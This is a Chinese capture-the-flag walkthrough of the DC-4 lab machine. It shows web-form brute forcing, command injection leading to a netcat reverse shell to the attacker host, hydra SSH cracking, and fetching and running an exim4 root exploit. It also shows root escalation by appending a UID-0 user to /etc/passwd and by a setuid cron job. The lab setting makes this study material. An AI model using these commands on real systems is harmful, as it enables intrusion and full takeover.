DC-4靶场

news2024/11/29 8:58:49

目录

nmap进行主机发现

尝试反弹shell:

 进入交互式shell:

Hydra爆破jim用户密码:

ssh登录charles :                                                        

提权(三种方法):

exim4提权:

/var/passwd添加用户提权

定时任务提权


DC-4:

DC-4靶场链接:https://www.five86.com/downloads/DC-4.zip

下载后解压会有一个DC-4.ova文件,直接在vm虚拟机点击左上角打开-->文件-->选中这个.ova文件就能创建靶场,kali(192.168.183.138)和靶机都调整至NAT模式

nmap进行主机发现

nmap 192.168.183.0/24

命令 nmap 192.168.183.0/24 的作用是对以 192.168.183 开头的所有 IP 地址进行扫描。/24 表示使用子网掩码为 24 来指定要扫描的 IP 范围。具体来说,这个命令将扫描 192.168.183.1 到 192.168.183.254 之间的所有 IP 地址。

Nmap scan report for 192.168.183.147

Host is up (0.00067s latency).

Not shown: 998 closed tcp ports (reset)

PORT   STATE SERVICE

22/tcp open  ssh

80/tcp open  http

MAC Address: 00:0C:29:BB:85:0D (VMware)

所以靶机地址192.168.183.147,开启80端口和22远程登录端口

也可以使用arp-scan -l 进行发现

arp-scan -l

报告为:

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:2b:e1, IPv4: 192.168.183.138

Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)

192.168.183.1   00:50:56:c0:00:08       VMware, Inc.

192.168.183.2   00:50:56:fc:0d:25       VMware, Inc.

192.168.183.147 00:0c:29:bb:85:0d       VMware, Inc.

192.168.183.254 00:50:56:fe:ac:e6       VMware, Inc.

进行whatweb指纹识别(kali自带)

whatweb -v 192.168.183.147

得到报告:

Detected Plugins:

[ HTML5 ]

        HTML version 5, detected by the doctype declaration

[ HTTPServer ]

        HTTP server header string. This plugin also attempts to

        identify the operating system from the server header.

        String       : nginx/1.15.10 (from server string)

[ PasswordField ]

        find password fields

        String       : password (from field name)

[ nginx ]

        Nginx (Engine-X) is a free, open-source, high-performance

        HTTP server and reverse proxy, as well as an IMAP/POP3

        proxy server.

        Version      : 1.15.10

        Website     : http://nginx.net/

登录80页面,是个登录框,burpsuite抓包密码爆破登录,随便点点发现长度660和636都能登录进去

这里有个列出文件的选项,和dirsearch扫出来的文件一样,打开后都没什么用

但是可以抓包然后run一下,可能涉及命令执行

 显然我们能通过修改radio的值来命令执行

执行ls+/、id命令,这里无法执行cat命令

执行 id 命令可以显示当前用户的身份信息。输出结果通常包含以下内容:

  1. 用户标识号(UID):唯一标识用户的数字值。
  2. 组标识号(GID):唯一标识用户所属组的数字值。
  3. 用户名称:当前用户的用户名。
  4. 组名称:当前用户所属的主要组名称。
  5. 附加组(如果有):当前用户所属的其他组名称。
  6. 用户及组的相关权限。

返回uid=33(www-data) gid=33(www-data) groups=33(www-data)

  • uid=33 表示当前用户的用户标识号是 33,即该用户是系统中的第 33 个用户。这个用户标识号对于 Linux 系统来说是唯一的,并且很多系统组件和进程都使用它来标识和验证用户身份。
  • gid=33 表示当前用户所属的组标识号也是 33,即该用户属于系统中的第 33 个用户组。同样地,组标识号对于 Linux 系统来说也是唯一的,并且用于标识和验证用户所属的组。
  • groups=33 表示当前用户同时也属于其他附加组,这里只有一个附加组,也是组标识号为 33 的 www-data 组。

因此,这个输出结果表明当前用户是 www-data 用户组的成员

尝试反弹shell:

反弹shell的方法参考:Linux下几种反弹Shell方法的总结与理解 - FreeBuf网络安全行业门户

攻击机kali开启监听:

nc -lvvp 666

Radio后面执行:

nc+192.168.183.138+666+-e+/bin/bash

注意ip是kali的ip,发包然后返回kali

 进入交互式shell:

python -c "import pty;pty.spawn('/bin/bash')"

 进入后先去翻home,看见三个用户名,在jim的目录下翻到备份密码

www-data@dc-4:/home/jim/backups$ ls
ls
old-passwords.bak

把密码都复制到一个文本里

touch /home/kali/桌面/1.txt

vim /home/kali/桌面/1.txt

按i进入插入模式,复制备份密码,按ESC键退出插入模式,然后输入:wq保存退出

Hydra爆破jim用户密码:

hydra -l jim -P /home/kali/桌面/1.txt ssh://192.168.183.147:22

报告为:

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-17 18:02:47

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 253 login tries (l:1/p:253), ~16 tries per task

[DATA] attacking ssh://192.168.183.147:22/

[STATUS] 156.00 tries/min, 156 tries in 00:01h, 99 to do in 00:01h, 14 active

[ssh] host: 192.168.183.147   login: jim   password: jibril04

得到密码为jibril04

本来想偷懒同样爆破一下root的密码,不过果然不行

远程登录jim:

ssh jim@靶机ip

看一下/var路径的文件。/var 是一个重要的目录,它包含了许多应用程序和系统服务生成的数据文件。

下面是一些常见的 /var 目录下的子目录及其用途:

  • /var/log:存储系统日志文件,包括登录日志、错误日志、应用程序日志等。
  • /var/spool:存储邮件队列、打印队列等临时性的数据。
  • /var/cache:用于存储应用程序缓存的数据,例如软件包管理器的下载缓存。
  • /var/www 或 /var/html:Web 服务器默认的网站根目录,通常用于存储网站文件。
  • /var/run:存储正在运行的进程的相关信息,如 PID 文件等。
  • /var/tmp:存储临时文件,与 /tmp 目录类似,但该目录下的文件在系统重新启动时不会被清理。

当看到/var/mail/jim的时候,往下拉内容居然是

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

See ya,

Charles

从邮件中可以看出Charles今天结束就要度假了,所以走之前把他的密码给Jim。密码是^xHhA&hvim0y

ssh登录charles :                                                        

┌──(kali㉿kali)-[~/桌面]

└─$ ssh charles@192.168.183.147

charles@192.168.183.147's password:

Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

charles@dc-4:~$

sudo -l

Matching Defaults entries for charles on dc-4:

    env_reset, mail_badpass,

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on dc-4:

    (root) NOPASSWD: /usr/bin/teehee

最后一行发现了root权限的命令teehee,teehee是个小众的linux编辑器,如果有sudo权限,可以利用其来提权,核心思路就是利用其在passwd文件中追加一条uid为0的用户条目

提权(三种方法):

exim4提权:

查看具有suid权限的命令

find / -user root -perm -4000 -print 2>/dev/null

这个命令的作用是在整个文件系统中搜索所有属主为root且具有setuid位的文件,并将它们的路径输出到标准输出(终端屏幕)上。具体来说,这个命令使用了find命令和一些选项,如下所示:

  • find:用于在文件系统中搜索文件和目录。
  • /:表示搜索的起始目录,这里是整个文件系统。
  • -user root:表示只搜索属主为root的文件。
  • -perm -4000:表示只搜索具有setuid位的文件。其中,4000是一个八进制数,表示setuid标志位的值为4。setuid位可以让非root用户以root权限执行该文件,因此具有一定的安全风险。
  • -print:表示将搜索到的文件路径输出到标准输出上。
  • 2>/dev/null:表示将错误输出重定向到空设备上。因为/root目录可能不可访问,所以在搜索时可能会出现一些错误信息,通过这个选项可以避免这些错误信息干扰结果。

在回显中发现一条/usr/sbin/exim4

可以用exim4提权,先查看exim4版本

exim4 --version

和上一个靶场一样,这里可以使用searchsploit

searchsploit exim 4

出来的结果很多,我们使用46996.sh

"Local Privilege E"表示本地特权升级漏洞;"Remote Command Ex"表示远程命令执行漏洞;"Denial of Service"表示拒绝服务漏洞等等

先打开Apache服务:

systemctl start apache2.service

把脚本复制到html下

 cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html

Charles用户那边用 wget命令下载这个脚本

charles@dc-4:/$ wget http://192.168.233.130/46996.sh

但是下载失败,转去/tmp目录下下载

cd /tmp

wget http://192.168.233.130/46996.sh

ls -l查看脚本权限,发现没有执行权限,我们需要给脚本加执行权限

chmod +x 46996.sh

执行脚本:

./46996.sh

 然后whoami发现已经为root

/var/passwd添加用户提权

echo "a::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

  1. echo "a::0:0:::/bin/bash":这是生成一个字符串的命令,其中包含了需要添加的用户信息。该字符串包括以下字段:

    • a: 新用户的用户名
    • ::: 用户密码(这里为空)
    • 0: 用户ID号,即UID(为0表示超级用户root)
    • 0: 用户组ID号,即GID(为0表示超级用户root)
    • ::: 用户的全名和其他描述信息(这里为空)
    • /bin/bash: 新用户登录后使用的默认shell
  2. |:这是管道符号,将上一个命令的输出作为下一个命令的输入。

  3. sudo teehee -a /etc/passwd:这个命令运行时需要管理员权限,因此使用sudo来获取管理员权限。teehee是一个自定义命令,实际上与tee命令类似,都可以将命令的输出写入文件并在标准输出中显示。-a参数表示以追加模式打开文件,/etc/passwd是要写入的目标文件,即用户账户信息存储文件。

综合起来,这个命令的作用是将一个新用户的信息添加到系统中,并利用管道符和teehee命令,将其(一个不用密码root权限的用户a)写入到/etc/passwd文件中,而我们可以通过修改/etc/passwd文件达到添加用户的效果,文件格式为

    [注册名]:[口令]:[用户标识号]:[组标识号]:[用户名]:[用户主目录]:[命令解析程序]

    口令为x即代表存放有密码,为空即代表没有密码,识标号为0代表root权限

 root提权:

su a

定时任务提权

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

这个命令的意思是将一条计划任务添加到系统的crontab中,使得每分钟执行一次chmod 4777 /bin/sh命令,以root用户的权限设置/bin/sh文件的权限为"rwsrwxrwx"。具体解释如下:

1、* * * * * root chmod 4777 /bin/sh:这个命令的作用是将/bin/sh文件的权限设置为"rwsrwxrwx",并且让root用户拥有该文件的所有权和权限。具体来说,这个命令使用了cron表达式(* * * * *),表示每分钟都要执行该命令。chmod 4777 /bin/sh命令中的chmod是一个Linux/Unix系统中用于修改文件或目录权限的命令。它的参数4777表示设置文件权限的特殊模式,其中:

  • 第一位数字4表示将setuid标志设置为1,即在执行该文件时,使用该文件所属用户的权限而不是当前用户的权限。
  • 后面的777表示将文件的拥有者、所属组和其他用户的权限都设置为读、写和执行(rwx)。

因此,这个命令的作用是给/bin/sh文件设置setuid位,使得任何用户在执行该文件时都能够以root用户的身份运行

2、| sudo teehee -a /etc/crontab:这部分命令使用管道符将上一步的输出传递给teehee命令,并使用sudo命令获取超级用户的权限。teehee命令会将标准输入的内容追加到/etc/crontab文件的末尾,从而将上述计划任务添加到系统的crontab中。

charles@dc-4:/$ cat /etc/crontab

# /etc/crontab: system-wide crontab

# Unlike any other crontab you don't have to run the `crontab'

# command to install the new version when you edit this file

# and files in /etc/cron.d. These files also have username fields,

# that none of the other crontabs do.

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly

25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )

47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )

52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

#

* * * * * root chmod 4777 /bin/sh

* * * * * root chmod 4777 /bin/sh

还要再执行/bin/sh提权至root

/bin/sh 

后面已经提权至root权限,flag在/root下面:

# whoami

root

# cd /root

# ls

flag.txt

# cat flag.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1318295.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据高可用架构设计与实现

大型企业如何实现 MySQL 到 Redis 的同步 前面曾提到过 Read/Write Through 和 Cache Aside 这几种更新缓存的模式或者说策略,这几种策略都存在缓存不命中的可能性,如果缓存没有命中,就需要直接访问数据库以获取数据。—般情况下&#xff0c…

Ansible-playbook编译.yml脚本

1、playbook是什么? 在Ansible中,Playbook是用于配置、部署和管理被控节点的剧本。它由一个或多个play(角色)组成,每个play可以包含多个task(台词,动作)。使用Ansible的Playbook&am…

【Windows】windows11右键默认显示更多选项的办法

Windows11系统的右键菜单显示,需要多点一次“显示更多选项”才能看到所有菜单内容,按下面步骤简单设置一下就能恢复成Windows经典的右键菜单显示。 1. 2.输入命令【reg.exe add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a…

JMESPath语言

JMESPath(JSON Matching Expression Path) 一种查询语言。 主要用于从JSON文档中检索和过滤数据。 通过写表达式提取和处理JSON数据,而无需编写复杂的代码。 功能:数据提取、过滤、转换、排序。 场景:处理API响应…

中文编程工具下载,编程工具构件之复选框构件

一、前言 零基础自学编程,中文编程工具下载,中文编程工具构件之扩展系统菜单构件教程 编程系统化教程链接https://jywxz.blog.csdn.net/article/details/134073098?spm1001.2014.3001.5502 给大家分享一款中文编程工具,零基础轻松学编程&a…

【案例】--“特别抢购”案例

目录 一、案例背景二、技术方案思路三、技术方案具体设计3.1、表设计3.2、Java代码实现一、案例背景 A公司向供应商B公司买了一套软件产品。B公司的这套产品有多个应用系统服务【如appId1、appId2、appId3】,每个应用都有各自的业务应用场景,但都需要管理文档,那么就需要磁…

C++:函数重载

1.函数重载概念 函数重载就是用同一个函数名定义的不同函数,当函数名和不同的参数搭配时函数的功能和含义不同。 2.实现函数重载的条件 同一个作用域,参数个数不同或者参数类型不同或者参数顺序不同(满足一个即可) void func(){} void func(int x){} v…

74hc244驱动数码管显示电路及程序

把七或八只发光二极管组合在一个模件上组成了个8字和小数点,用以显示数字。为了减少管脚,把各个发光管的其中同一个极接在一起作为共用点,因此就产生了共阳极和共阴极数码之说。共阳管就是把各个发光管的正极接在一起,而共阴管就刚…

web(HTML之表单练习)

使用HTML实现该界面: 要求如下: 用户名为文本框,名称为 UserName,长度为 15,最大字符数为 20。 密码为密码框,名称为 UserPass,长度为 15,最大字符数为 20。 性别为两个单选按钮&a…

PowerShell实战(一)PowerShell使用ImportExcel模块轻松操作Excel

目录 一、介绍 二、安装模块 三、操作示例 1、导出excel 2、读取Excel数据 3、导出包含图表的Excel 4、导出包含汇总列和图表的Excel 一、介绍 ImportExcel模块可以理解为基于PowerShell环境操作Excel的强大类库,使用它可以在 Windows、Linux 和 Mac 上都可以使用。…

天选姬·桌宠 你值得拥有

天选姬桌宠 简介官网地址安装教程1.获取方式2.安装3.功能效果4.桌宠互动5.下载地址 彩蛋搜狗输入法天选姬主题天选姬桌宠视频简介天选姬静态壁纸天选姬动态壁纸 天选姬桌宠 简介 互动类虚拟桌面宠物,让你的桌面变得有趣和精彩。 官网地址 载中心 | 官方支持 | A…

浏览器的事件循环机制(Event loop)

事件循环 浏览器的进程模型 何为进程? 程序运行需要有它自己专属的内存空间,可以把这块内存空间简单的理解为进程 每个应用至少有一个进程,进程之间相互独立,即使要通信,也需要双方同意。 何为线程? …

PyQt6 QScrollBar滚动条控件

锋哥原创的PyQt6视频教程: 2024版 PyQt6 Python桌面开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili2024版 PyQt6 Python桌面开发 视频教程(无废话版) 玩命更新中~共计48条视频,包括:2024版 PyQt6 Python桌面开发 视频教程(无废话版…

VRRP(虚拟路由冗余协议)

一.VRRP简介 1.VRRP是什么 Virtual route Redundancy Protocol,也叫虚拟路由器冗余协议。 利用VRRP,一组路由器协同工作,单只有一个处于Master状态,处于该状态的路由器(的接口)承担实际的数据流量转发任…

day39算法训练|动态规划part02

62.不同路径 代码随想录 按照动规五部曲来分析: 1确定dp数组(dp table)以及下标的含义 dp[i][j] :表示从(0 ,0)出发,到(i, j) 有dp[i][j]条不同的路径。 2确定递推公式 想要求…

[c++]—vector类___提升版(带你了解vector底层的运用)

我写我 不论主谓宾 可以反复错 🌈vector的介绍 1.vector是表示可变大小数组的序列容器2.就像数组一样,vector也采用的连续存储空间来存储元素,也就是意味着可以采用下标对vector的元素进行访问,和数组一样高效。但是又不像数组&…

并发下ArrayList是一个线程不安全的容器

ArrayList 是一个非线程安全的容器,这意味着如果多个线程同时访问同一个 ArrayList 实例并且至少有一个线程会修改它,就可能导致不确定的结果,如数据损坏、异常或不一致的状态。为了在多线程环境中使用 ArrayList,你需要采取额外的…

【个人版】SpringBoot下Spring-Security核心概念解读【二】

Spring-Security HttpSecurity Spring-Security全局导读: 1、Security核心类设计 2、HttpSecurity结构和执行流程解读 3、Spring-Security个人落地篇 背景: Spring-Security框架的核心架构上一篇已经概述,展示其执行流程及逻辑,但…

设计可编辑表格组件

前言 什么是可编辑表格呢?简单来说就是在一个表格里面进行表单操作,执行增删改查。这在一些后台管理系统中是尤为常见的。 今天我们根据vue2 element-ui来设计一个表单表格组件。(不涉及完整代码,想要使用完整功能可以看底部连…

推荐EasyImages简单图床源码

开源好用EasyImages简单图床源码分享,虽然它是开源程序,但功能一点也不弱,不仅支持多文件上传、文字/图片水印、支持API和鉴黄、还能自定义代码,最重要的是它不强制使用数据库运行,这就给我们的部署和维护带来极大方便…